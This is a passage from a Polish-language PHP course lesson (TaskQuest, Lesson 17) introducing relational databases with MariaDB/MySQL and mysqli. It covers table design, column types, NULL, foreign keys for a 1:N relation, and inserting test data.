<li>Klasa <code class="prettyprint lang-sql" style="font-size: 0.85em;">Zadanie</code> ma właściwości <code class="prettyprint lang-sql" style="font-size: 0.85em;">id</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">tytul</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">opis</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">termin</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">wykonane</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">xp</code>. Jaki typ PHP ma każda z nich?</li>



<li>Dlaczego <code class="prettyprint lang-sql" style="font-size: 0.85em;">Uzytkownik</code> nie ma właściwości <code class="prettyprint lang-sql" style="font-size: 0.85em;">poziom</code>, tylko metodę <code class="prettyprint lang-sql" style="font-size: 0.85em;">pobierzPoziom()</code>?</li>



<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">Zadanie</code> nie ma metody „ustaw XP”, a <code class="prettyprint lang-sql" style="font-size: 0.85em;">Uzytkownik</code> pozwala tylko <strong>dodawać</strong> XP. Co chroni takie ograniczenie?</li>



<li>Po wywołaniu <code class="prettyprint lang-sql" style="font-size: 0.85em;">$uzytkownik-&gt;dodajXp(50)</code> odświeżasz stronę i XP znowu wynosi 99. Dlaczego?</li>
</ol>



<h1 class="wp-block-heading">1. Wracamy do naszego TaskQuest</h1>



<p class="wp-block-paragraph">Wszystkie pliki PHP z Lekcji 15 zostają i <strong>działają tak samo</strong>. Dzisiejsza praca to głównie projekt danych i SQL. W PHP zmienia się tylko narzędzie programisty (<code class="prettyprint lang-sql" style="font-size: 0.85em;">diagnostyka.php</code>) i numer wersji w stopce.</p>



<h3 class="wp-block-heading">Docelowa struktura projektu</h3>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">taskquest/
├── index.php                        bez zmian
├── dodaj-zadanie.php                bez zmian
├── zaloguj.php                      bez zmian
├── wyloguj.php                      bez zmian
├── diagnostyka.php                  (zmiana: plik SQL na liście wymaganych, sekcja „Baza danych”)
├── classes/
│   ├── Zadanie.php                  bez zmian
│   └── Uzytkownik.php               bez zmian
├── config/
│   └── config.php                   bez zmian (dane dostępowe do bazy dojdą w L18)
├── includes/
│   ├── header.php                   bez zmian
│   ├── footer.php                   (zmiana: "TaskQuest 1.7")
│   └── ... pozostałe pliki funkcji  bez zmian
├── sql/                             NOWY KATALOG
│   └── taskquest.sql                NOWY — tabele bazy + dane testowe
└── data/
    └── zadania.csv                  bez zmian — aplikacja nadal z niego czyta</code></pre>



<h3 class="wp-block-heading">Co zostaje, co dochodzi</h3>



<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><th>Element</th><th>Po Lekcji 15</th><th>Po Lekcji 17</th></tr></thead><tbody><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">data/zadania.csv</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">wczytajZadania()</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">zapiszZadania()</code></td><td>źródło danych</td><td><strong>zostają</strong> — nadal źródło danych aplikacji</td></tr><tr><td>klasy <code class="prettyprint lang-sql" style="font-size: 0.85em;">Zadanie</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">Uzytkownik</code></td><td>istnieją</td><td><strong>zostają</strong> bez zmian — ich właściwości podpowiadają kolumny tabel</td></tr><tr><td>symulowane <code class="prettyprint lang-sql" style="font-size: 0.85em;">xp: 99, streak: 5, dataOstatniejAktywnosci: '2026-09-14'</code></td><td>w <code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php</code></td><td><strong>zostają</strong> w <code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php</code>; te same wartości trafiają do bazy jako dane testowe</td></tr><tr><td>baza <code class="prettyprint lang-sql" style="font-size: 0.85em;">taskquest</code> z tabelami <code class="prettyprint lang-sql" style="font-size: 0.85em;">uzytkownicy</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">zadania</code></td><td>nie ma</td><td><strong>dochodzi</strong> (skrypt <code class="prettyprint lang-sql" style="font-size: 0.85em;">sql/taskquest.sql</code>)</td></tr><tr><td>sprawdzenie rozszerzenia <code class="prettyprint lang-sql" style="font-size: 0.85em;">mysqli</code></td><td>nie ma</td><td><strong>dochodzi</strong> w <code class="prettyprint lang-sql" style="font-size: 0.85em;">diagnostyka.php</code></td></tr></tbody></table></figure>



<p class="wp-block-paragraph">Nic nie usuwamy.</p>



<h3 class="wp-block-heading">Przygotowanie (zrób to teraz)</h3>



<ol class="wp-block-list">
<li><strong>Zrób kopię zapasową</strong> katalogu <code class="prettyprint lang-sql" style="font-size: 0.85em;">taskquest/</code> z Lekcji 15 jako <code class="prettyprint lang-sql" style="font-size: 0.85em;">taskquest_lekcja15/</code> (obok, nie w środku).</li>



<li>Uruchom w XAMPP (albo w innym używanym pakiecie) <strong>Apache</strong> i <strong>MySQL</strong>. W XAMPP moduł nazywa się „MySQL”, choć w środku działa MariaDB (sekcja 3.2).</li>



<li>Wejdź na <code class="prettyprint lang-sql" style="font-size: 0.85em;">http://localhost/phpmyadmin</code> i sprawdź, czy strona się otwiera.</li>



<li>Otwórz w edytorze swój <code class="prettyprint lang-sql" style="font-size: 0.85em;">data/zadania.csv</code>. Przyda się w kroku 3 sekcji 5.</li>
</ol>



<h1 class="wp-block-heading">2. Problem w aplikacji</h1>



<p class="wp-block-paragraph">Nauczycielka chce, żeby cała klasa, 30 osób, używała TaskQuest na jednym serwerze szkolnym. Zobaczmy, co się stanie z obecną wersją. Każdy punkt poniżej to znane ograniczenie, które zapisywaliśmy przy wcześniejszych lekcjach.</p>



<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><th>Sytuacja</th><th>Co robi TaskQuest 1.5</th><th>Dlaczego</th></tr></thead><tbody><tr><td>Kuba i Ola logują się na różne loginy</td><td>widzą <strong>te same zadania</strong></td><td>jest jeden plik <code class="prettyprint lang-sql" style="font-size: 0.85em;">zadania.csv</code> dla wszystkich</td></tr><tr><td>Kuba zdobywa XP</td><td>u Oli też jest 99 XP, u Kuby po odświeżeniu też 99</td><td>XP jest wpisane w <code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php</code></td></tr><tr><td>Kuba i Ola jednocześnie dodają zadanie</td><td>jedno z zadań może <strong>zniknąć</strong></td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">zapiszZadania()</code> wczytuje cały plik i nadpisuje go w trybie <code class="prettyprint lang-sql" style="font-size: 0.85em;">w</code>; dwa zapisy naraz nadpisują się nawzajem</td></tr><tr><td>Ktoś ręcznie psuje jedną linię CSV</td><td><strong>nikt</strong> nie widzi swoich zadań</td><td>pierwszy zły wiersz przerywa wczytywanie całego pliku</td></tr><tr><td>Chcemy pokazać tylko zadania Oli</td><td>trzeba wczytać wszystko i filtrować w PHP</td><td>plik nie potrafi „odpowiedzieć na pytanie”</td></tr><tr><td>Plik ma termin <code class="prettyprint lang-sql" style="font-size: 0.85em;">2026-02-31</code></td><td>zapisuje go bez protestu</td><td>CSV to zwykły tekst; pilnuje tylko nasz kod</td></tr></tbody></table></figure>



<p class="wp-block-paragraph">Można by dla każdego ucznia tworzyć osobny plik, pilnować blokad, pisać własne wyszukiwanie. To jednak oznacza budowanie własnej, gorszej bazy danych. Lepiej użyć prawdziwej.</p>



<p class="wp-block-paragraph"><strong>Baza danych</strong> to program (serwer), który przechowuje dane w <strong>tabelach</strong> i sam dba o to, żeby:</p>



<ul class="wp-block-list">
<li>wiele osób mogło jednocześnie czytać i zapisywać,</li>



<li>zmiana jednego wiersza nie wymagała przepisywania całości,</li>



<li>do tabeli nie trafiały dane złego typu, zbyt długie teksty, nieistniejące daty,</li>



<li>dane w różnych tabelach do siebie pasowały (np. zadanie nie może należeć do nieistniejącego użytkownika),</li>



<li>dało się zadać pytanie, np. „pokaż niewykonane zadania użytkownika nr 2 posortowane po terminie”. Tym zajmiemy się w Lekcji 18.</li>
</ul>



<h1 class="wp-block-heading">3. Nowy mechanizm: relacyjna baza danych</h1>



<h2 class="wp-block-heading">3.1 Pojęcia — na przykładzie, który już znasz</h2>



<p class="wp-block-paragraph">Twój <code class="prettyprint lang-sql" style="font-size: 0.85em;">data/zadania.csv</code> jest bardzo blisko tabeli w bazie:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">id;tytul;opis;termin;wykonane;xp          ← nagłówek = nazwy KOLUMN
1;"   Nauczyć   się regexów   PHP   ";... ← jedna linia = jeden WIERSZ (rekord)</code></pre>



<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><th>Pojęcie</th><th>W CSV</th><th>W bazie danych</th></tr></thead><tbody><tr><td><strong>baza danych</strong></td><td>katalog <code class="prettyprint lang-sql" style="font-size: 0.85em;">data/</code></td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">taskquest</code>: zbiór tabel jednej aplikacji</td></tr><tr><td><strong>tabela</strong></td><td>plik <code class="prettyprint lang-sql" style="font-size: 0.85em;">zadania.csv</code></td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">zadania</code>: dane jednego rodzaju</td></tr><tr><td><strong>kolumna</strong></td><td>pole w nagłówku, np. <code class="prettyprint lang-sql" style="font-size: 0.85em;">termin</code></td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">termin</code>, ale <strong>z typem</strong>, np. <code class="prettyprint lang-sql" style="font-size: 0.85em;">DATE</code> (baza przyjmie tylko datę)</td></tr><tr><td><strong>wiersz (rekord)</strong></td><td>jedna linia</td><td>jedno zadanie</td></tr><tr><td><strong>klucz główny</strong> (<em>primary key</em>)</td><td>kolumna <code class="prettyprint lang-sql" style="font-size: 0.85em;">id</code>, a o unikalność dba <code class="prettyprint lang-sql" style="font-size: 0.85em;">nastepneIdZadania()</code></td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">id</code>: baza <strong>gwarantuje</strong> unikalność i sama nadaje kolejne numery</td></tr><tr><td><strong>SQL</strong></td><td>brak</td><td>język, w którym rozmawiamy z bazą (<code class="prettyprint lang-sql" style="font-size: 0.85em;">CREATE TABLE</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">SELECT</code>, &#8230;)</td></tr></tbody></table></figure>



<p class="wp-block-paragraph">Najważniejsza różnica: w CSV <strong>każda kolumna to tekst</strong>, a sprawdzanie poprawności robi nasz kod (<code class="prettyprint lang-sql" style="font-size: 0.85em;">sprawdzWierszZadania()</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">walidujNoweZadanie()</code>). W bazie każda kolumna ma <strong>typ i reguły</strong>, a baza sama odrzuca to, co ich nie spełnia.</p>



<h2 class="wp-block-heading">3.2 MySQL czy MariaDB?</h2>



<p class="wp-block-paragraph"><strong>MySQL</strong> to najpopularniejszy darmowy system baz danych. Od 2010 roku należy do firmy Oracle. <strong>MariaDB</strong> powstała w 2009 roku jako jego odgałęzienie (<em>fork</em>), stworzone przez pierwotnych autorów MySQL. Oba systemy są <strong>relacyjne</strong>: dane leżą w tabelach, które mogą być ze sobą powiązane.</p>



<p class="wp-block-paragraph">W podstawach, których używamy, są praktycznie identyczne: ta sama składnia SQL i to samo rozszerzenie PHP. XAMPP zawiera MariaDB, choć moduł w panelu nazywa się „MySQL”. Jeśli phpMyAdmin pokazuje „MariaDB”, to nie jest błąd.</p>



<h2 class="wp-block-heading">3.3 Jak PHP rozmawia z bazą — <code class="prettyprint lang-sql" style="font-size: 0.85em;">mysqli</code></h2>



<p class="wp-block-paragraph">Samo PHP nie zna bazy danych. Potrzebuje <strong>rozszerzenia</strong>, czyli dodatkowego modułu:</p>



<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><th>Rozszerzenie</th><th>Status</th></tr></thead><tbody><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">mysql</code> (funkcje <code class="prettyprint lang-sql" style="font-size: 0.85em;">mysql_connect()</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">mysql_query()</code>)</td><td><strong>usunięte w PHP 7.0</strong> (2015). Nie działa. Zobaczysz je jeszcze w starych poradnikach w internecie</td></tr><tr><td><strong><code class="prettyprint lang-sql" style="font-size: 0.85em;">mysqli</code></strong> („MySQL improved”)</td><td>aktualne; tego używamy w TaskQuest</td></tr></tbody></table></figure>



<p class="wp-block-paragraph">Istnieje też trzecie rozszerzenie, PDO, ale w kursie z niego nie korzystamy.</p>



<p class="wp-block-paragraph"><code class="prettyprint lang-sql" style="font-size: 0.85em;">mysqli</code> można używać na dwa sposoby: funkcjami (<code class="prettyprint lang-sql" style="font-size: 0.85em;">mysqli_connect(...)</code>) albo obiektowo (<code class="prettyprint lang-sql" style="font-size: 0.85em;">new mysqli(...)</code>). <strong>W TaskQuest używamy wyłącznie wersji obiektowej.</strong> Od Lekcji 15 znasz obiekty, a TaskQuest jest już zbudowany z klas.</p>



<p class="wp-block-paragraph">Sprawdźmy, czy Twój PHP ma <code class="prettyprint lang-sql" style="font-size: 0.85em;">mysqli</code>. W katalogu <code class="prettyprint lang-sql" style="font-size: 0.85em;">taskquest/</code> utwórz <code class="prettyprint lang-sql" style="font-size: 0.85em;">brudnopis.php</code>:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php

var_dump(extension_loaded('mysqli'));
var_dump(extension_loaded('mysql'));
var_dump(class_exists('mysqli'));

echo 'Wersja PHP: ' . PHP_VERSION;</code></pre>



<p class="wp-block-paragraph">Przewidź wynik, a potem uruchom <code class="prettyprint lang-sql" style="font-size: 0.85em;">http://localhost/taskquest/brudnopis.php</code>.</p>



<ul class="wp-block-list">
<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">extension_loaded('mysqli')</code> → <code class="prettyprint lang-sql" style="font-size: 0.85em;">true</code>: rozszerzenie jest włączone.</li>



<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">extension_loaded('mysql')</code> → <code class="prettyprint lang-sql" style="font-size: 0.85em;">false</code>: stare rozszerzenie nie istnieje w PHP 7 i 8.</li>



<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">class_exists('mysqli')</code> → <code class="prettyprint lang-sql" style="font-size: 0.85em;">true</code>: <code class="prettyprint lang-sql" style="font-size: 0.85em;">mysqli</code> to <strong>klasa</strong>, tak jak Twoja <code class="prettyprint lang-sql" style="font-size: 0.85em;">Zadanie</code>. W Lekcji 18 napiszesz <code class="prettyprint lang-sql" style="font-size: 0.85em;">new mysqli(...)</code> i dostaniesz obiekt połączenia.</li>
</ul>



<p class="wp-block-paragraph">Jeśli <code class="prettyprint lang-sql" style="font-size: 0.85em;">mysqli</code> daje <code class="prettyprint lang-sql" style="font-size: 0.85em;">false</code>, otwórz <code class="prettyprint lang-sql" style="font-size: 0.85em;">php.ini</code> (w XAMPP: panel → Apache → Config → PHP (php.ini)). Znajdź linię <code class="prettyprint lang-sql" style="font-size: 0.85em;">;extension=mysqli</code>, usuń średnik na początku i zrestartuj Apache.</p>



<h2 class="wp-block-heading">3.4 Tabela w SQL — przykład: tabela <code class="prettyprint lang-sql" style="font-size: 0.85em;">uzytkownicy</code></h2>



<p class="wp-block-paragraph">Zacznijmy od klasy, którą znasz:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">class Uzytkownik
{
    private string $login;
    private string $imieUzytkownika;
    private int $xp;
    private int $streak;
    private string $dataOstatniejAktywnosci;
    // ...
}</code></pre>



<p class="wp-block-paragraph">Tak wygląda odpowiadająca jej tabela:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">CREATE TABLE uzytkownicy (
    id INT UNSIGNED AUTO_INCREMENT PRIMARY KEY,
    login VARCHAR(20) NOT NULL UNIQUE,
    imie VARCHAR(30) NOT NULL,
    haslo_hash VARCHAR(255) NULL,
    xp INT UNSIGNED NOT NULL DEFAULT 0,
    streak INT UNSIGNED NOT NULL DEFAULT 0,
    data_ostatniej_aktywnosci DATE NULL
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci;</code></pre>



<p class="wp-block-paragraph">Czytamy linia po linii. Każda kolumna to: <strong>nazwa, typ, reguły</strong>.</p>



<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><th>Fragment</th><th>Znaczenie</th><th>Skąd taka decyzja w TaskQuest</th></tr></thead><tbody><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">INT</code></td><td>liczba całkowita</td><td>jak <code class="prettyprint lang-sql" style="font-size: 0.85em;">int</code> w PHP</td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">UNSIGNED</code></td><td>bez znaku: tylko 0 i więcej</td><td>XP i streak nie mogą być ujemne. <code class="prettyprint lang-sql" style="font-size: 0.85em;">dodajXp()</code> pilnuje tego w PHP, baza pilnuje dodatkowo</td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">VARCHAR(20)</code></td><td>tekst o <strong>maksymalnej</strong> długości 20 znaków</td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">walidujLogin()</code> pozwala na 3–20 znaków; imię: <code class="prettyprint lang-sql" style="font-size: 0.85em;">walidujDaneLogowania()</code> pozwala na najwyżej 30</td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">DATE</code></td><td>data <code class="prettyprint lang-sql" style="font-size: 0.85em;">RRRR-MM-DD</code></td><td>ten sam format, którego używamy od lekcji o datach</td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">NOT NULL</code></td><td>wartość <strong>musi</strong> być podana</td><td>użytkownik bez loginu nie ma sensu</td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">NULL</code></td><td>wartość <strong>może nie istnieć</strong></td><td>nowy użytkownik nie miał jeszcze żadnej aktywności; hasła jeszcze nie ma</td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">DEFAULT 0</code></td><td>wartość, gdy jej nie podamy</td><td>nowy użytkownik zaczyna od 0 XP</td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">UNIQUE</code></td><td>w całej tabeli wartość nie może się powtórzyć</td><td>dwóch użytkowników nie może mieć tego samego loginu</td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">PRIMARY KEY</code></td><td><strong>klucz główny</strong>: jednoznacznie wskazuje wiersz; zawsze unikalny i nie <code class="prettyprint lang-sql" style="font-size: 0.85em;">NULL</code></td><td>„użytkownik nr 1”</td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">AUTO_INCREMENT</code></td><td>baza sama nadaje kolejne numery 1, 2, 3&#8230;</td><td>to, co robi nasza <code class="prettyprint lang-sql" style="font-size: 0.85em;">nastepneIdZadania()</code>, ale pewniej</td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">ENGINE=InnoDB</code></td><td>sposób przechowywania tabeli</td><td>tylko InnoDB pilnuje powiązań między tabelami (3.6)</td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">utf8mb4</code></td><td>kodowanie znaków</td><td>polskie litery i emoji (Eksperyment 3)</td></tr></tbody></table></figure>



<p class="wp-block-paragraph"><strong><code class="prettyprint lang-sql" style="font-size: 0.85em;">NULL</code> to nie jest pusty tekst ani zero.</strong> <code class="prettyprint lang-sql" style="font-size: 0.85em;">NULL</code> oznacza „brak wartości, nie wiadomo”. Pusty tekst <code class="prettyprint lang-sql" style="font-size: 0.85em;">''</code> to tekst, który istnieje, tylko nie ma znaków. W PHP <code class="prettyprint lang-sql" style="font-size: 0.85em;">NULL</code> z bazy stanie się <code class="prettyprint lang-sql" style="font-size: 0.85em;">null</code>.</p>



<h3 class="wp-block-heading">Dwie rzeczy, które wyglądają na zmiany — i dlaczego je robimy</h3>



<ol class="wp-block-list">
<li><strong><code class="prettyprint lang-sql" style="font-size: 0.85em;">id</code> zamiast samego loginu.</strong> Login jest unikalny, więc mógłby być kluczem głównym. Tak się jednak nie robi. Login jest widoczny dla użytkownika i kiedyś może się zmienić. Wtedy trzeba by poprawić go w każdym zadaniu, które na niego wskazuje. Liczba <code class="prettyprint lang-sql" style="font-size: 0.85em;">id</code> nigdy się nie zmienia, a login pilnujemy regułą <code class="prettyprint lang-sql" style="font-size: 0.85em;">UNIQUE</code>. Klasa <code class="prettyprint lang-sql" style="font-size: 0.85em;">Uzytkownik</code> nie ma dziś <code class="prettyprint lang-sql" style="font-size: 0.85em;">id</code>, bo nie było go skąd wziąć. Wróci to w Lekcji 18.</li>



<li><strong><code class="prettyprint lang-sql" style="font-size: 0.85em;">imie</code>, a nie <code class="prettyprint lang-sql" style="font-size: 0.85em;">imie_uzytkownika</code>.</strong> Jesteśmy w tabeli <code class="prettyprint lang-sql" style="font-size: 0.85em;">uzytkownicy</code>, więc dopisek „użytkownika” nic nie dodaje. To ta sama nazwa co klucz w sesji (<code class="prettyprint lang-sql" style="font-size: 0.85em;">$_SESSION['imie']</code>). Właściwość w klasie nadal nazywa się <code class="prettyprint lang-sql" style="font-size: 0.85em;">imieUzytkownika</code>.</li>
</ol>



<h3 class="wp-block-heading">Konwencja nazw w bazie TaskQuest</h3>



<p class="wp-block-paragraph">Nazwy tabel i kolumn są <strong>po polsku, tak jak w PHP</strong>, ale w stylu SQL: małe litery, bez polskich znaków, słowa rozdzielone podkreślnikiem (<em>snake_case</em>):</p>



<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><th>PHP</th><th>Baza</th></tr></thead><tbody><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">$dataOstatniejAktywnosci</code></td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">data_ostatniej_aktywnosci</code></td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">$tytul</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">$termin</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">$xp</code></td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">tytul</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">termin</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">xp</code></td></tr><tr><td>klasa <code class="prettyprint lang-sql" style="font-size: 0.85em;">Zadanie</code> (jedno zadanie)</td><td>tabela <code class="prettyprint lang-sql" style="font-size: 0.85em;">zadania</code> (zbiór zadań, liczba mnoga)</td></tr></tbody></table></figure>



<h2 class="wp-block-heading">3.5 Czego NIE zapisujemy w bazie</h2>



<p class="wp-block-paragraph">W tabeli <code class="prettyprint lang-sql" style="font-size: 0.85em;">uzytkownicy</code> <strong>nie ma</strong> kolumn <code class="prettyprint lang-sql" style="font-size: 0.85em;">poziom</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">tytul_gracza</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">procent_postepu</code> ani <code class="prettyprint lang-sql" style="font-size: 0.85em;">brakujace_xp</code>. Wszystkie wynikają z XP. Od lekcji o funkcjach liczą je funkcje <code class="prettyprint lang-sql" style="font-size: 0.85em;">obliczPoziom()</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">pobierzTytul()</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">obliczProcentPostepu()</code> i <code class="prettyprint lang-sql" style="font-size: 0.85em;">ileBrakujeXp()</code>, a od Lekcji 15 także metody <code class="prettyprint lang-sql" style="font-size: 0.85em;">Uzytkownik</code>.</p>



<p class="wp-block-paragraph">Gdybyśmy zapisali XP <strong>i</strong> poziom, prędzej czy później zdarzyłoby się tak:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">xp = 350, poziom = 2</code></pre>



<p class="wp-block-paragraph">Któraś wartość kłamie. Tylko która? Baza tego nie wie.</p>



<blockquote class="wp-block-quote is-layout-flow wp-block-quote-is-layout-flow">
<p class="wp-block-paragraph"><strong>Zasada:</strong> w bazie zapisujemy dane, których <strong>nie da się obliczyć</strong> z innych danych. Resztę liczymy w PHP. Każda informacja ma jedno źródło prawdy, tak jak w Lekcji 15, gdzie usunęliśmy luźne <code class="prettyprint lang-sql" style="font-size: 0.85em;">$xp</code> obok obiektu <code class="prettyprint lang-sql" style="font-size: 0.85em;">$uzytkownik</code>.</p>
</blockquote>



<p class="wp-block-paragraph">Tę zasadę zastosujesz za chwilę sama/sam przy zadaniach (4b).</p>



<h2 class="wp-block-heading">3.6 Relacja 1:N i klucz obcy</h2>



<p class="wp-block-paragraph">Każde zadanie musi mieć <strong>właściciela</strong>. Jeden użytkownik może mieć wiele zadań, a jedno zadanie należy do dokładnie jednego użytkownika. To relacja <strong>jeden do wielu (1:N)</strong>:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">uzytkownicy                         zadania
+----+-----------+                  +----+---------------+----------------------+
| id | login     |                  | id | uzytkownik_id | tytul                |
+----+-----------+                  +----+---------------+----------------------+
|  1 | Kama_2026 | ◄──────────┬──── |  1 |             1 | Nauczyć się regexów  |
|    |           |            ├──── |  2 |             1 | ...                  |
|    |           |            └──── |  3 |             1 | ...                  |
|  2 | Ola_TQ    | ◄─────────────── |  4 |             2 | Zaprojektować bazę   |
+----+-----------+                  +----+---------------+----------------------+
          1                                         N</code></pre>



<p class="wp-block-paragraph">Połączenie realizuje kolumna <strong><code class="prettyprint lang-sql" style="font-size: 0.85em;">uzytkownik_id</code></strong> w tabeli <code class="prettyprint lang-sql" style="font-size: 0.85em;">zadania</code>. Przechowuje ona <code class="prettyprint lang-sql" style="font-size: 0.85em;">id</code> właściciela. Kolumna, która wskazuje klucz główny innej tabeli, to <strong>klucz obcy</strong> (<em>foreign key</em>):</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">FOREIGN KEY (uzytkownik_id) REFERENCES uzytkownicy(id) ON DELETE CASCADE</code></pre>



<p class="wp-block-paragraph">Czytaj: „<code class="prettyprint lang-sql" style="font-size: 0.85em;">uzytkownik_id</code> musi być <code class="prettyprint lang-sql" style="font-size: 0.85em;">id</code> istniejącego wiersza w <code class="prettyprint lang-sql" style="font-size: 0.85em;">uzytkownicy</code>. Gdy użytkownik zostanie usunięty, usuń też (<em>cascade</em>, kaskadowo) jego zadania”.</p>



<p class="wp-block-paragraph">Dlaczego <code class="prettyprint lang-sql" style="font-size: 0.85em;">uzytkownik_id</code> jest w <code class="prettyprint lang-sql" style="font-size: 0.85em;">zadania</code>, a nie odwrotnie? Pole użytkownika mieści <strong>jedną</strong> wartość. Nie zmieścisz w nim listy „zadania 1, 2, 3”. W relacji 1:N klucz obcy zawsze trafia na stronę „N”.</p>



<h2 class="wp-block-heading">3.7 Dane testowe — <code class="prettyprint lang-sql" style="font-size: 0.85em;">INSERT</code></h2>



<p class="wp-block-paragraph">Tabela po utworzeniu jest pusta. Wiersze dodaje polecenie <code class="prettyprint lang-sql" style="font-size: 0.85em;">INSERT</code>:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">INSERT INTO uzytkownicy (login, imie, xp, streak, data_ostatniej_aktywnosci) VALUES
('Kama_2026', 'Kama', 99, 5, '2026-09-14'),
('Ola_TQ', 'Ola', 250, 0, NULL);</code></pre>



<ul class="wp-block-list">
<li>W nawiasie po nazwie tabeli wymieniamy kolumny, które wypełniamy. Pomijamy <code class="prettyprint lang-sql" style="font-size: 0.85em;">id</code> (nada je <code class="prettyprint lang-sql" style="font-size: 0.85em;">AUTO_INCREMENT</code>) i <code class="prettyprint lang-sql" style="font-size: 0.85em;">haslo_hash</code> (zostanie <code class="prettyprint lang-sql" style="font-size: 0.85em;">NULL</code>).</li>



<li>Teksty i daty w apostrofach, liczby bez nich, <code class="prettyprint lang-sql" style="font-size: 0.85em;">NULL</code> bez apostrofów (<code class="prettyprint lang-sql" style="font-size: 0.85em;">'NULL'</code> to byłby tekst „NULL”).</li>



<li>Kolejne wiersze rozdzielamy przecinkiem, a całe polecenie kończy średnik.</li>
</ul>



<p class="wp-block-paragraph">Kama ma <strong>dokładnie te wartości</strong>, które TaskQuest symuluje od Lekcji 15 (<code class="prettyprint lang-sql" style="font-size: 0.85em;">xp: 99, streak: 5, dataOstatniejAktywnosci: '2026-09-14'</code>). Gdy w Lekcji 18 podłączymy bazę, strona powinna pokazać to samo co dziś. To będzie nasz test.</p>



<p class="wp-block-paragraph">Do podejrzenia zawartości tabeli wystarczy:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">SELECT * FROM uzytkownicy;</code></pre>



<p class="wp-block-paragraph">Więcej o <code class="prettyprint lang-sql" style="font-size: 0.85em;">SELECT</code> w Lekcji 18.</p>



<h2 class="wp-block-heading">3.8 Typowe błędy</h2>



